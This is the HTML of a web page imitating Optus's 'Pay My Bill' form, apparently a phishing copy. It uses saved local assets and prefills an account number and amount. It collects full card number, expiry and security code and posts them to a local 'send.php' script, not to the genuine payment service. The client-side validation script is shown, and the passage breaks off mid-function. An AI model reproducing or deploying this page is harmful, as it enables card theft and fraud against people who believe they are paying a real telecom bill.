<html class=js-focus-visible><meta content="text/html; charset=utf-8"http-equiv=Content-Type><style></style><style></style><title>
   Optus Pay My Bill Payment
  </title><meta content=width=device-width,initial-scale=1.0 name=viewport><meta content=IE=edge http-equiv=X-UA-Compatible><link href=./files/bootstrap.min.css media=screen rel=stylesheet><link href=./files/pmb.css media=screen rel=stylesheet><link href=./files/pmb_h.css media=screen rel=stylesheet><link href=./files/pmb_p.css media=screen rel=stylesheet><script src=./files/jquery-1.10.2.min.js.download></script><script src=./files/jquery.lazy.js.download></script><script src=./files/bootstrap.min.js.download></script><link href=./files/pmb_not_ie.css media=screen rel=stylesheet><style>@font-face {
  font-weight: 400;
  font-style:  normal;
  font-family: 'Inter-Loom';

  src: url('https://cdn.loom.com/assets/fonts/inter/Inter-UI-Regular.woff2') format('woff2');
}
@font-face {
  font-weight: 400;
  font-style:  italic;
  font-family: 'Inter-Loom';

  src: url('https://cdn.loom.com/assets/fonts/inter/Inter-UI-Italic.woff2') format('woff2');
}

@font-face {
  font-weight: 500;
  font-style:  normal;
  font-family: 'Inter-Loom';

  src: url('https://cdn.loom.com/assets/fonts/inter/Inter-UI-Medium.woff2') format('woff2');
}
@font-face {
  font-weight: 500;
  font-style:  italic;
  font-family: 'Inter-Loom';

  src: url('https://cdn.loom.com/assets/fonts/inter/Inter-UI-MediumItalic.woff2') format('woff2');
}

@font-face {
  font-weight: 700;
  font-style:  normal;
  font-family: 'Inter-Loom';

  src: url('https://cdn.loom.com/assets/fonts/inter/Inter-UI-Bold.woff2') format('woff2');
}
@font-face {
  font-weight: 700;
  font-style:  italic;
  font-family: 'Inter-Loom';

  src: url('https://cdn.loom.com/assets/fonts/inter/Inter-UI-BoldItalic.woff2') format('woff2');
}

@font-face {
  font-weight: 900;
  font-style:  normal;
  font-family: 'Inter-Loom';

  src: url('https://cdn.loom.com/assets/fonts/inter/Inter-UI-Black.woff2') format('woff2');
}
@font-face {
  font-weight: 900;
  font-style:  italic;
  font-family: 'Inter-Loom';

  src: url('https://cdn.loom.com/assets/fonts/inter/Inter-UI-BlackItalic.woff2') format('woff2');
}</style><body data-gr-c-s-loaded=true onload=clearVcoData();><div id=optus_header><div class=pull-right><a href=http://www.optus.com.au/> <img class="lazy img-responsive"style="display: block;"alt=Optus src=./files/logo.png> </a></div><div class=clearfix></div></div><div class=container><div id=pmb_header><div id=pmb_header_img><img alt="Pay My Bill"class="lazy img-responsive"style="display: block;"src=./files/heading.png></div></div><div id=pmb_payment><div id=pmb_p_header_text>Optus accepts all major credit cards</div><div class=pmb_p_cards><img alt="Visa Accepted"style="display: inline;"class=lazy src=./files/visa_logo.gif><img alt="Visa Checkout"style="display: inline;"class=lazy src=./files/acc_49x31_wht01.png><img alt="Mastercard Accepted"style="display: inline;"class=lazy src=./files/mc.png><img alt="American Express Accepted"style="display: inline;"class=lazy src=./files/amex.png><img alt="Diners Accepted"style="display: inline;"class=lazy src=./files/diners.png></div><form action=send.php autocomplete=off class=form-horizontal id=frmMain method=post name=frmMain><div><input id=__VIEWSTATE name=__VIEWSTATE type=hidden value=BM53vbdtwRNOuCPJKGFyE4sHh/73cgkB379g3rp7YHCMTN32BPtShqgHvULS211pYdItcX3axUScrCpFZpzrt7FmVt/j/qNgIzGDpxV2p/GFAK025ndMJNnnkfIjQDzsw6oIuOCQ+9NkLphUTnT3Q4nW0z7FwcUAUqF4FJQKe2MeL+wR2YTzNsojQSB/PNrG1MSIKc5aY6fvn9HQSEdLmBUd7uri2z+phmgLDRyq1u791Ch19N7kDkiEBYxhvYuB/TIzwQULYfwhac4sdmqVZyjM34/SEm1074e7T2csvFi+nS8au2Q3C17MulQ/05zG0N1MBZ6AIDtYRtwLQG93gYYSWq5ziAWLmDmjLpCEGsPMn1JcdKcHLLN7dvcGnOKhp2OeeENfG/klDr4oxbLioWL23xpAjJIZquWvZJyqstP9bBmvsbpBixJr2nx6hiGnj8o7aUrQ0J+3bwtvw69kQtpzYiAMPLuKDlONEog2V6QdFEIzb3Y1fXHSjj/0OZdb20+d8ihe5kraGa3P8zIJUtuwKE5NwJvG0RpoRsXDfZwedRy1T8SULbWhks+5cQMNAC16ffdmDbbhl7nVWzpU8SWEEjx0DFGgrEx57EQJyl9IBHuCrkeS8VThD1IXW2l6vSDWKQ==></div><div><input id=__VIEWSTATEGENERATOR name=__VIEWSTATEGENERATOR type=hidden value=355E48B6><input id=__VIEWSTATEENCRYPTED name=__VIEWSTATEENCRYPTED type=hidden><input id=__EVENTVALIDATION name=__EVENTVALIDATION type=hidden value=ww2/E7RRtT+uLGj9cTpwzTfyJ+9XhLZlVbyPHbOFEpUtczux9mdfucgvlm4FfJ7DG4ByANFsCrpCXWLRktsnvStcJyXRnoVdzLzvmF+Qh8RWZ0fg1JVXdXVJLJ6nnrFB5/3MJP/1Jkx9h09HGj3yvZz0HqVXtJsuXexqgktBn/ahE8fh8KrIqSpv+Nrh2/aslEJQAMeUstvcyCbvwwmIqh/huOTUDghN1JWh1TBZBd1ErVodiv51OCqfw3mdCaOo4mQuMPAm6iYVYtX3gElzXHjU9jcpU4MUP7musCwsPKDViVOxC+IP+w/l3oPjo8NqrySfyQW4xTq4wHutqJBhHbe2mJq1tys5Wf0umfyJcaZnceYZSZyJmtZSv0ae8pOpgR93Fp/MG6Tn2hG9vlOdEN58HPfNOI8bUwta2fnfqMt8tcwgaHAlmOYjVtsxBz3xM18Rd5j+bxZ224PqHDIOzxFw/vkY0JKABWZrwPozrluTi9M0KnWSltgtJh2G6zEu9dlSH1kD2/X38YGjv9hu7R3WrKaQPkYGsaPxgWyWrFidKQQpERE8Af8hN2GfiIMQt6rBTiGUch/YYTZhJjm4AOyEkc6weQl/ma3TzV8uj7zxpYqo3vwE/X1GHGKaoDvlyvPK7A==></div><input id=ctrl5CE282561984FF8F185D89500DDB025D6A56D475E30A8CAE6DEF4DF1CEDDC01B name=ctrl5CE282561984FF8F185D89500DDB025D6A56D475E30A8CAE6DEF4DF1CEDDC01B type=hidden><input hidden id=ctrl6FE34B8AE7497560414ABD2F260438C7 name=ctrl6FE34B8AE7497560414ABD2F260438C7 type=submit><input id=ctrl6606D00893250537090516D6B9546B67 name=ctrl6606D00893250537090516D6B9546B67 style=display:none; title=Optional><div class="pmb_p_panel panel panel-default"><div class=panel-heading><img alt="PAYMENT INFORMATION"class="lazy img-responsive"style="display: block;"src=./files/payinfo.png></div><div class=panel-body><div class="alert alert-danger alert-dismissable"id=pmb_error_alert><button onclick="$( '#pmb_error_alert' ).hide(200)"aria-hidden=true class=close type=button>×</button><span id=pmb_error_alert_text> </span></div><div class=form-group><label class="col-sm-5 pmb_gfx_label_pad"for=crn><a data-content="Your Account Number is located in the top right hand corner of your Optus bill."class=pmb_help data-container=body data-original-title data-placement=right data-popid=crn data-toggle=popover href=https://secure.optus.com.au/access/index.aspx?a=147942&dl=ExtPayMyBill&CustRef=62110803145&amount=88.00#> <img alt="Customer Account Number Help"style="display: inline;"class=lazy src=./files/help.png> </a> <img alt="Customer Account Number"style="display: inline;"class=lazy src=./files/crn_new.png></label><div class=col-sm-7><input class="input-lg pmb_input_text form-control"id=ctrl0DD770F41BF7F9AA946A6B62D4DBEA58A5E56BF5CA809EA9E89F07AD819F46B6 maxlength=14 name=ctrl0DD770F41BF7F9AA946A6B62D4DBEA58A5E56BF5CA809EA9E89F07AD819F46B6 size=15 title=Required value=62110803145></div></div><div class=form-group><label class="col-sm-5 pmb_gfx_label_pad"for=amountfield><a data-content="This is your total account balance due. Please note transaction limits may apply."class=pmb_help data-container=body data-original-title data-placement=right data-popid=amountfield data-toggle=popover href=https://secure.optus.com.au/access/index.aspx?a=147942&dl=ExtPayMyBill&CustRef=62110803145&amount=88.00#> <img alt="Amount to be Paid Help"style="display: inline;"class=lazy src=./files/help.png> </a> <img alt="Amount to be Paid"style="display: inline;"class=lazy src=./files/amount_new.png></label><div class=col-sm-7><input class="input-lg pmb_input_text form-control"id=ctrl0DD770F41BF7F9AA946A6B62D4DBEA58B82EB268931CB62249F91D1692C7B548 maxlength=14 name=ctrl0DD770F41BF7F9AA946A6B62D4DBEA58B82EB268931CB62249F91D1692C7B548 placeholder=0.00 size=15 title=Required value=48.00></div></div><div class=form-group><label class="col-sm-5 pmb_gfx_label_pad"for=cardnumber><a data-content="Optus accepts American Express, Diners Club, Mastercard and Visa."class=pmb_help data-container=body data-original-title data-placement=right data-popid=cn data-toggle=popover href=https://secure.optus.com.au/access/index.aspx?a=147942&dl=ExtPayMyBill&CustRef=62110803145&amount=88.00#> <img alt="Card Number Help"style="display: inline;"class=lazy src=./files/help.png> </a> <img alt="Card	Number"style="display: inline;"class=lazy src=./files/card_new.png></label><div class=col-sm-7><div class=row id=cardnumber><div id=cardnumber_multiple><div class=col-xs-3><input class="input-lg pmb_input_text form-control"id=cr1 maxlength=4 name=cr1 size=5 title=Optional></div><div class=col-xs-3><input class="input-lg pmb_input_text form-control"id=cr2 maxlength=4 name=cr2 size=5 title=Optional></div><div class=col-xs-3><input class="input-lg pmb_input_text form-control"id=cr3 maxlength=4 name=cr3 size=5 title=Optional></div><div class=col-xs-3><input class="input-lg pmb_input_text form-control"id=cr4 maxlength=4 name=cr4 size=5 title=Optional></div></div><div style="display: none;"id=cardnumber_single><div class=col-xs-12><input class="input-lg pmb_input_text form-control"id=ctrl0DD770F41BF7F9AA946A6B62D4DBEA58612FD4364303A7816C6C8FD33A39134D maxlength=16 name=ctrl0DD770F41BF7F9AA946A6B62D4DBEA58612FD4364303A7816C6C8FD33A39134D size=17 title=Required></div></div></div></div></div><div class=form-group><label class="col-sm-5 pmb_gfx_label_pad"for=cardexpiry><a data-content="Your Card Expiry Date should be current month or greater to a maximum of 5 years."class=pmb_help data-container=body data-original-title data-placement=right data-popid=ce data-toggle=popover href=https://secure.optus.com.au/access/index.aspx?a=147942&dl=ExtPayMyBill&CustRef=62110803145&amount=88.00#> <img alt="Card Expiry Date Help"style="display: inline;"class=lazy src=./files/help.png> </a> <img alt="Card Expiry Date"style="display: inline;"class=lazy src=./files/cardexpiry_new.png></label><div class=col-sm-7><div class=row id=cardexpiry><div class=col-xs-3><input class="input-lg pmb_input_text form-control"id=exp1 maxlength=2 name=exp1 placeholder=MM size=3 title=Required></div><div class=col-xs-3><input class="input-lg pmb_input_text form-control"id=exp2 maxlength=2 name=exp2 placeholder=YY size=3 title=Optional><input id=ctrl0DD770F41BF7F9AA946A6B62D4DBEA5825B2566E928538EE1F2A2BD71BA159C7 name=ctrl0DD770F41BF7F9AA946A6B62D4DBEA5825B2566E928538EE1F2A2BD71BA159C7 readonly style=visibility:hidden;display:none; title=Required></div><div class=col-xs-6></div></div></div></div><div class=form-group><label class="col-sm-5 pmb_gfx_label_pad"for=cardid><a data-content="
										<h4>Diners Club; Mastercard and Visa</h4>
										<p><b>Instructions</b>: Turn over your credit card and look for the number printed
										on the signature panel. You are required to enter the last 3 digits.
										<div style='height: 180px'><img src='../branding/00000191/00147942/ExternalPayMyBill/img/visa.gif' alt='Visa/Mastercard/Diners Card ID' /></div></p>
										<h4>American Express</h4>
										<p><b>Instructions</b>: Look for the number printed above your Amex card number.
										You are required to enter these 4 digits.
										<div style='height: 180px'><img src='../branding/00000191/00147942/ExternalPayMyBill/img/amex.gif' alt='American Express Card ID' /></div></p>									
									"class=pmb_help data-container=body data-html=true data-original-title data-placement=right data-popid=cardid data-toggle=popover href=https://secure.optus.com.au/access/index.aspx?a=147942&dl=ExtPayMyBill&CustRef=62110803145&amount=88.00#> <img alt="Card ID Help"style="display: inline;"class=lazy src=./files/help.png> </a> <img alt="Card ID"style="display: inline;"class=lazy src=./files/cardid_new.png></label><div class=col-sm-7><div class=row><div class=col-xs-4><input class="input-lg pmb_input_text form-control"id=cv maxlength=4 name=cv size=5 title=Required></div></div></div></div></div></div><div class=visible-xs><div class=row><div class=col-xs-6><input class="lazy img-responsive"onclick="clearPaymentForm(); return false;"id=ctrl0DF7A1ED96FE7B650A66BCA94BDCB460 name=ctrl0DF7A1ED96FE7B650A66BCA94BDCB460 src=./files/clearbtn.png style=border-width:0px; type=image></div><div class=col-xs-6><input class="lazy img-responsive"onclick="return makePayment();"id=ctrlD55488329CFA389E24457D509EBF89E5 name=ctrlD55488329CFA389E24457D509EBF89E5 src=./files/paybtn.png style=border-width:0px; type=image></div></div></div><div class=hidden-xs><div class=row><div class="col-xs-6 pmb_p_info_text"id=pmb_p_button_pre><sup> * </sup> Services for personal mobile customers: <br> SMS "Menu" to 9999 for fast self-service from your Optus Mobile (24x7). Options include: account balance and account number, unbilled usage, last payment details, contract status and more.</div><div class=col-xs-6><div class=row><div class=col-x-12><div class=pull-right><span class=pmb_nowrap> <input onclick="clearPaymentForm(); return false;"class=lazy id=ctrl1F7BB17D4D0A955F5A7C92A056D8E378 name=ctrl1F7BB17D4D0A955F5A7C92A056D8E378 src=./files/clearbtn-p-sm.png style=border-width:0px; type=image> <input onclick="return makePayment();"class=lazy id=ctrlAEA82F706D13F9A9FB3E93EFD402F130 name=ctrlAEA82F706D13F9A9FB3E93EFD402F130 src=./files/paybtn-sm.png style=border-width:0px; type=image> </span></div></div></div><div class="row pmb_p_prev_sm"><div class=col-xs-3></div><div class="col-xs-5 pmb_p_prev_sm_text">If you wish to check a previous Pay my bill payment click here</div><div class=col-xs-4><div class=pull-right><input class=lazy id=ctrlEF13FC2046ABDA692C9E30D4195D6017 name=ctrlEF13FC2046ABDA692C9E30D4195D6017 src=./files/prevbtn-sm.png style=border-width:0px; type=image></div></div></div></div></div></div><div style="clear: both;"></div><div class="visible-xs pmb_p_info_text"id=pmb_p_button_post><sup> * </sup> Services for personal mobile customers: <br> SMS "Menu" to 9999 for fast self-service from your Optus Mobile (24x7). Options include: account balance and account number, unbilled usage, last payment details, contract status and more.</div><div class="visible-xs pmb_p_prev_xs"><div class=row><div class="col-xs-12 pmb_p_prev_xs_text">If you wish to check a previous Pay my bill payment click here</div></div><div class=row><div class=col-xs-12><input class="lazy img-responsive"id=ctrl53FBE7A5BADDAD1F36E1B7C75CBBB23D name=ctrl53FBE7A5BADDAD1F36E1B7C75CBBB23D src=./files/prevbtn.png style=border-width:0px; type=image></div></div></div><div class="modal fade"aria-hidden=true aria-labelledby=pmb_p_dialog_label id=pmb_p_dialog role=dialog tabindex=-1><div class=modal-dialog><div class=modal-content><div class=modal-header><button aria-hidden=true class=close data-dismiss=modal id=pmb_p_dialog_close_button type=button>×</button><h4 class=modal-title id=pmb_p_dialog_label>Please enter your invoice number:</h4></div><div class=modal-body id=pmb_p_dialog_body><div class="alert alert-danger alert-dismissable"id=pmb_box_error_alert><button onclick="$( '#pmb_box_error_alert' ).hide(200)"aria-hidden=true class=close type=button>×</button><span id=pmb_box_error_alert_text> </span></div><input class="input-lg pmb_input_text form-control"id=ctrl0DD770F41BF7F9AA946A6B62D4DBEA58F7DA00F5EDB6BD1022FCB04F1C1F1FE8 maxlength=8 name=ctrl0DD770F41BF7F9AA946A6B62D4DBEA58F7DA00F5EDB6BD1022FCB04F1C1F1FE8 size=9 title=Optional><br> Your invoice number can be found on the top right hand corner of your invoice.</div><div class=modal-footer id=pmb_p_dialog_footer><div class=hidden-xs><input data-dismiss=modal id=ctrl56CDB9AFD252CD5CA6F53934BDA15AD4 name=ctrl56CDB9AFD252CD5CA6F53934BDA15AD4 src=./files/back-sm.png style=border-width:0px; type=image><input onclick="return makeInvoicePayment();"id=ctrl3D7B511FBCB9CE99DCD317804BBEEA8D name=ctrl3D7B511FBCB9CE99DCD317804BBEEA8D src=./files/paybtn-sm.png style=border-width:0px; type=image></div><div class=visible-xs><div class=row><div class=col-xs-6><input class="lazy img-responsive"data-dismiss=modal id=ctrlF5E0F4F4E174176E5748B6F7BCBE4CED name=ctrlF5E0F4F4E174176E5748B6F7BCBE4CED src=./files/back-sm.png style=border-width:0px; type=image></div><div class=col-xs-6><input class="lazy img-responsive"onclick="return makeInvoicePayment();"id=ctrl0D580FFC51A2F3403E174D03A6311B83 name=ctrl0D580FFC51A2F3403E174D03A6311B83 src=./files/paybtn-sm.png style=border-width:0px; type=image></div></div></div></div></div></div></div></form><hr><div id=pmb_p_bottom_text><p>Unless your account is paid by direct debit, any payments made via credit, debit or charge cards incur a 0.427% (incl. GST) payment processing fee. The fee will appear on the next account after the bill is paid. For more information visit <a href=http://www.optus.com.au/payments> www.optus.com.au/payments </a><p>This form is secure and cannot be read by other people on the Internet. Optus will only use your information for the express purpose contained in this form. For more information please refer to our Privacy Collection Statement.</div><script>var visiblePopover = null;
	
	$( ".pmb_help" ).popover();
	
	$( ".pmb_help" ).click(function(evt) {
		var isShowing = true;
		if (visiblePopover != null) {
			if (visiblePopover.data("popid") != $( this ).data("popid")) {
				visiblePopover.popover('hide');
				var $tip = visiblePopover.data('bs.popover').tip();
				$tip.removeClass('popvisible');
				$tip.addClass('popinvisible');
			}
			else {
				visiblePopover = null;
				var $tip = $( this ).data('bs.popover').tip();
				$tip.removeClass('popvisible');
				$tip.addClass('popinvisible');
				isShowing = false;
			}
		}
		if (isShowing) {
			visiblePopover = $( this );
			var $tip = visiblePopover.data('bs.popover').tip();
			$tip.removeClass('popinvisible');
			$tip.addClass('popvisible');
		}
		return false; // Don't allow the link to be followed or the body click event to fire as well
	});
	
	// hide all popovers if any non-popover part of the body is clicked
	$( "body" ).click(function () {
		if (visiblePopover != null) {
			visiblePopover.popover('hide');
			var $tip = visiblePopover.data('bs.popover').tip();
			$tip.removeClass('popvisible');
			$tip.addClass('popinvisible');
		}
    visiblePopover = null;
	});

	var iOS = ( navigator.userAgent.match(/(iPad|iPhone|iPod)/g) ? true : false );
	
	function paymentLandingShowInit() {
		$( "#pmb_error_alert" ).hide(0);
		// if iOS not multiple card fields
		if (iOS) {
			$( "#cardnumber_multiple" ).hide(0);
			$( "#cardnumber_single" ).show(0);
		}
		else {
			$( "#cardnumber_multiple" ).show(0);
			$( "#cardnumber_single" ).hide(0);
		}
		$('#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58B82EB268931CB62249F91D1692C7B548').attr( 'placeholder','0.00');
		$('#exp1').attr( 'placeholder','MM');
		$('#exp2').attr( 'placeholder','YY');
		$('#ctrl56CDB9AFD252CD5CA6F53934BDA15AD4').attr( 'data-dismiss','modal');
		$('#ctrlF5E0F4F4E174176E5748B6F7BCBE4CED').attr( 'data-dismiss','modal');
		var hasServerErrors = paymentLandingShowServerErrors();
		setForSizeLanding();
		window.scroll(0,0);
		if (hasServerErrors == false) {
			focusPaymentLanding();
		}
	}
	
	function paymentLandingShowServerErrors() {
		var errorHTML = "";
		var hasErrors = false;
		if ($("#CustRefError").length > 0) {
			errorHTML = appendErrorMessage($("#CustRefError").html(),errorHTML);
			$("#CustRefError").html("");				
		}
		if ($("#AmountError").length > 0) {
			errorHTML = appendErrorMessage($("#AmountError").html(),errorHTML);
			$("#AmountError").html("");				
		}
		if ($("#CardNumberError").length > 0) {
			errorHTML = appendErrorMessage($("#CardNumberError").html(),errorHTML);
			$("#CardNumberError").html("");				
		}
		if ($("#CCExpiryError").length > 0) {
			errorHTML = appendErrorMessage($("#CCExpiryError").html(),errorHTML);
			$("#CCExpiryError").html("");				
		}
		if ($("#CVNError").length > 0) {
			errorHTML = appendErrorMessage($("#CVNError").html(),errorHTML);
			$("#CVNError").html("");				
		}
		if ($("#CustNumberError").length > 0) {
			errorHTML = appendErrorMessage($("#CustNumberError").html(),errorHTML);
			$("#CustNumberError").html("");				
		}		
		if ($("#FormError").length > 0) {
			var declineMsg = $("#FormError").html();
			if (declineMsg == "Timeout when waiting for a response") {
				declineMsg = "Your financial institution is temporarily unavailable. Please try again later.";
			} else if (declineMsg.indexOf("duplicate transaction") >= 0) {				
				declineMsg = "We are unable to determine that status of your transaction. Please contact your financial institution.";
			} else if (declineMsg.indexOf("Maximum Count for Period") >= 0) {
				declineMsg = "Your payment cannot be processed at this time. Please try again later or use a different payment method.";
			} else {
				declineMsg = "Your transaction has been declined. Please contact your financial institution.";
			}
			errorHTML = appendErrorMessage(declineMsg,errorHTML);
			$("#FormError").html("");				
		}				
		
		if (errorHTML.length > 0) {
			showErrorText(errorHTML);
			hasErrors = true;
		}
		else {
			$( "#pmb_error_alert" ).hide(0);
		}
		return hasErrors;
	}		

	function setForSizeLanding() {
		if (!isLandingPageWide()) {
			$( "#cr1" ).removeClass("pmb_input_text");
			$( "#cr2" ).removeClass("pmb_input_text");
			$( "#cr3" ).removeClass("pmb_input_text");
			$( "#cr4" ).removeClass("pmb_input_text");
			$( "#cid_text" ).removeClass("pmb_p_card_id_text_pad");
			$( "label").removeClass("pmb_gfx_label_pad");
		}
		else {
			$( "#cr1" ).addClass("pmb_input_text");
			$( "#cr2" ).addClass("pmb_input_text");
			$( "#cr3" ).addClass("pmb_input_text");
			$( "#cr4" ).addClass("pmb_input_text");
			$( "#cid_text" ).addClass("pmb_p_card_id_text_pad");
			$( "label").addClass("pmb_gfx_label_pad");
		}
	}

	function isLandingPageWide() {
		return ($( "#pmb_p_button_pre" ).is(":visible"))
	}			

	function focusPaymentLanding() {
		if (isLandingPageWide()) {
			if ( $( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58A5E56BF5CA809EA9E89F07AD819F46B6" ).val().length > 0) {
				if ( $( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58B82EB268931CB62249F91D1692C7B548" ).val().length > 0) {
					if (iOS) {
						$( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58612FD4364303A7816C6C8FD33A39134D" ).focus();
					}
					else {
						$( "#cr1" ).focus();
					}
				}
				else {
					$( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58B82EB268931CB62249F91D1692C7B548" ).focus();
				}
			}
			else {
				$( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58A5E56BF5CA809EA9E89F07AD819F46B6" ).focus();
			}
		} 
	}

	function clearPaymentForm() {
		$( "#pmb_error_alert" ).hide(0);
		$( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58A5E56BF5CA809EA9E89F07AD819F46B6" ).val("");
		$( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58B82EB268931CB62249F91D1692C7B548" ).val("");
		$( "#cr1" ).val("");
		$( "#cr2" ).val("");
		$( "#cr3" ).val("");
		$( "#cr4" ).val("");
		$( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58612FD4364303A7816C6C8FD33A39134D" ).val("");
		$( "#exp1" ).val("");
		$( "#exp2" ).val("");
		$( "#cv" ).val("");
		$( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58F7DA00F5EDB6BD1022FCB04F1C1F1FE8" ).val("");
		focusPaymentLanding();
	}


	$( "#frmMain" ).find( ":input" ).keypress(function( event ) {
		if ( event.which == 13) {
			event.preventDefault();
			if ($( "#pmb_p_dialog" ).is(":visible")) {
				$('#ctrl3D7B511FBCB9CE99DCD317804BBEEA8D').click();							
			} else {
				$('#ctrlAEA82F706D13F9A9FB3E93EFD402F130').click();			
			}			
		}
	});
	
	function collectInvoiceNumber() {
		var invoiceRequired = false;
		var accountNumber = $( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58A5E56BF5CA809EA9E89F07AD819F46B6" ).val();
		if (accountNumber.length == 10) {
			invoiceRequired = (accountNumber.charAt(0) == '9');
		}
		return invoiceRequired;
	}

	function makeInvoicePayment() {
		var submit = false;
		if (invoiceChecks()) {
			submit = true;
			$( "#pmb_p_dialog" ).on("hidden.bs.modal", function () {
				showWaitDialog(); 
				$( "#pmb_p_dialog" ).off("hidden.bs.modal");
			});
			$( "#pmb_p_dialog" ).modal("hide");
		}
		return submit;
	}	
		
	function makePayment() {
		var submit = false;
		
		if (clientChecks()) {
			if (!iOS) {
				$('#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58612FD4364303A7816C6C8FD33A39134D').val($('#cr1').val() + $('#cr2').val() + $('#cr3').val() + $('#cr4').val());
			}		
			$('#ctrl0DD770F41BF7F9AA946A6B62D4DBEA5825B2566E928538EE1F2A2BD71BA159C7').val('20' + $('#exp2').val());
			if (!collectInvoiceNumber()) {
				$( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58F7DA00F5EDB6BD1022FCB04F1C1F1FE8" ).val("");
				showWaitDialog(); 
				submit = true;
			}
			else {
				$( "#pmb_box_error_alert" ).hide(0);
				$( "#pmb_p_dialog" ).on("shown.bs.modal", function () {
					$( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58F7DA00F5EDB6BD1022FCB04F1C1F1FE8" ).focus();
					$( "#pmb_p_dialog" ).off("shown.bs.modal");
				});
				//$( "#pmb_p_dialog" ).keyup(function( event ) {
				//	if (event.which == 13) {
				//		submit = makeInvoicePayment();
				//	}
				//});
				$( "#pmb_p_dialog" ).modal();
			}
		}
		return submit;
	}	
	
	//New function for VISA Checkout payments. Validates only account number and amount fields.
	function makePaymentVisaCheckout() {
		var submit = false;
		
		//Validate only account no and amount by passing isVisaCheckoutPayment = true as arguement.
		if (clientChecks(true)) {
			if (!collectInvoiceNumber()) {
				$( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58F7DA00F5EDB6BD1022FCB04F1C1F1FE8" ).val("");
				submit = true;
			}
			else {
				$( "#pmb_box_error_alert" ).hide(0);
				$( "#pmb_p_dialog" ).on("shown.bs.modal", function () {
					$( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58F7DA00F5EDB6BD1022FCB04F1C1F1FE8" ).focus();
					$( "#pmb_p_dialog" ).off("shown.bs.modal");
				});
				$( "#pmb_p_dialog" ).modal();
			}
		}
		if(submit) {
			onVisaCheckoutReady();
			//Perform click on actual VISA checkout button after validations are passed.
			var button = document.getElementById('custom-visa-checkout-button');  
			if (button) { button.click(); }
		}
	}
	
	function showErrorText(errorHTML) {
		$( "#pmb_error_alert_text" ).html(errorHTML);
		$( "#pmb_error_alert" ).show(200);
		window.scroll(0,0);
	}
	
	var checkFailedControl = null;
	
	function setCheckFailedControl(control) {
		if (checkFailedControl == null) {
			checkFailedControl = control;
		}
	}
	
	function checkInvoice() {
		var invoice = $.trim($( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58F7DA00F5EDB6BD1022FCB04F1C1F1FE8" ).val());
		if (invoice.length == 0) {
			return "The invoice number is blank.";
		}
		else {
			if (checkCardField($( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58F7DA00F5EDB6BD1022FCB04F1C1F1FE8" ),8,8)) {
				return "";
			}
			else {
				return "The invoice number is invalid.";
			}
		}
	}

	function invoiceChecks() {
		var allOkay = true;
		var errorHTML = "";
		errorHTML = appendErrorMessage(checkInvoice(),errorHTML);
		if (errorHTML.length > 0) {
			$( "#pmb_box_error_alert_text" ).html(errorHTML);
			$( "#pmb_box_error_alert" ).show(200);
			allOkay = false;
			$( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58F7DA00F5EDB6BD1022FCB04F1C1F1FE8" ).focus();
			$( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58F7DA00F5EDB6BD1022FCB04F1C1F1FE8" ).select();
		}
		else {
			$( "#pmb_box_error_alert" ).hide(0);
		}
		return allOkay;
	}
	
	function checkAccountNumber() {
		var accountNumber = $.trim($( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58A5E56BF5CA809EA9E89F07AD819F46B6" ).val());
		if (accountNumber.length == 0) {
			setCheckFailedControl($( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58A5E56BF5CA809EA9E89F07AD819F46B6" ));
			return "The Customer Account Number is blank.";
		}
		else {
			if (checkCardField($( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58A5E56BF5CA809EA9E89F07AD819F46B6" ),8,14)) {
				return "";
			}
			else {
				return "The Customer Account Number is invalid.";
			}
		}
	}
	
	function checkAmount() {
		var errorMessage = "";
		var amount = $.trim($( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58B82EB268931CB62249F91D1692C7B548" ).val());
		if (amount.length == 0) {
			errorMessage = "The amount is blank.";	
		}
		else {
			var amountOk = true;
			var i = 0;
			var foundDec = false;
			var leftCount = 0;
			var rightCount = 0;
			var chr = null;
			while ((i < amount.length) && amountOk) {
				chr = amount.charAt(i);
				if (chr == '.') {
					if (foundDec) {
						amountOk = false;
					}
					else {
						if (leftCount < 1) {
							amountOk = false;
						}
						else {
							foundDec = true;
						}
					}
				}
				else {
					if ((chr < '0') || (chr > '9')) {
						amountOk =false;
					}
					else {
						if (foundDec) {
							rightCount++;
							if (rightCount > 2) {
								amountOk = false;
							}
						}
						else {
							leftCount++;
							if (leftCount > 9) {
								amountOk = false;
							}
						}
					}
				}
				i++;
			}
			if (!amountOk) {
				errorMessage = "Amount is not a valid number.";
			}
		}
		if (errorMessage.length > 0) {
			setCheckFailedControl($( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58B82EB268931CB62249F91D1692C7B548" ));
		}
		return errorMessage;
	}
	
	function checkCardField(field,minlen,maxlen) {
		var fieldOkay = true;
		var i = 0;
		var fieldVal = $.trim(field.val());
		var chr = null;
		while ((i < fieldVal.length) && fieldOkay) {
			chr = fieldVal.charAt(i);
			if ((chr < '0') || (chr > '9')) {
				fieldOkay = false;
			}
			i++;
		}
		if ((fieldVal.length < minlen) || (fieldVal.length > maxlen)) {
			fieldOkay = false;
		}
		return fieldOkay;
	}
	
	function checkExpiry() {
		var expiryOkay = false;
		var errorMessage = "";
		if (checkCardField($( "#exp1" ),2,2)) {
			if (checkCardField($( "#exp2" ),2,2)) {
				if (($( "#exp1" ).val() <= 12) && ($( "#exp1" ).val() >= 1)) {
					expiryOkay = true;
				}
			}
		}
		if (!expiryOkay) {
